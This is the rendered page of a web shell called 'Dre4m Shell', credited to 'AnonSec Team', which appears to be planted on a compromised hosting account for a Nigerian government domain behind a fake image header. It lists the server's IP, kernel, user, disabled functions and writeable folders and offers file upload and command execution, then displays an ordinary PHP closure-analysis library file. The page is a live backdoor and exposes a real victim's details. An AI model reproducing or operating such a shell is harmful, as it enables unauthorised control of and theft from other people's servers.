ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.226.17.174
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/jeremeamia/superclosure/src/Analyzer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/jeremeamia/superclosure/src/Analyzer//ClosureAnalyzer.php
<?php namespace SuperClosure\Analyzer;

use SuperClosure\Exception\ClosureAnalysisException;

abstract class ClosureAnalyzer
{
    /**
     * Analyzer a given closure.
     *
     * @param \Closure $closure
     *
     * @throws ClosureAnalysisException
     *
     * @return array
     */
    public function analyze(\Closure $closure)
    {
        $data = [
            'reflection' => new \ReflectionFunction($closure),
            'code'       => null,
            'hasThis'    => false,
            'context'    => [],
            'hasRefs'    => false,
            'binding'    => null,
            'scope'      => null,
            'isStatic'   => $this->isClosureStatic($closure),
        ];

        $this->determineCode($data);
        $this->determineContext($data);
        $this->determineBinding($data);

        return $data;
    }

    abstract protected function determineCode(array &$data);

    /**
     * Returns the variables that are in the "use" clause of the closure.
     *
     * These variables are referred to as the "used variables", "static
     * variables", "closed upon variables", or "context" of the closure.
     *
     * @param array $data
     */
    abstract protected function determineContext(array &$data);

    private function determineBinding(array &$data)
    {
        $data['binding'] = $data['reflection']->getClosureThis();
        if ($scope = $data['reflection']->getClosureScopeClass()) {
            $data['scope'] = $scope->getName();
        }
    }

    private function isClosureStatic(\Closure $closure)
    {
        $closure = @$closure->bindTo(new \stdClass);

        if ($closure === null) {
            return true;
        }

        $rebound = new \ReflectionFunction($closure);

        return $rebound->getClosureThis() === null;
    }
}

Anon7 - 2022
AnonSec Team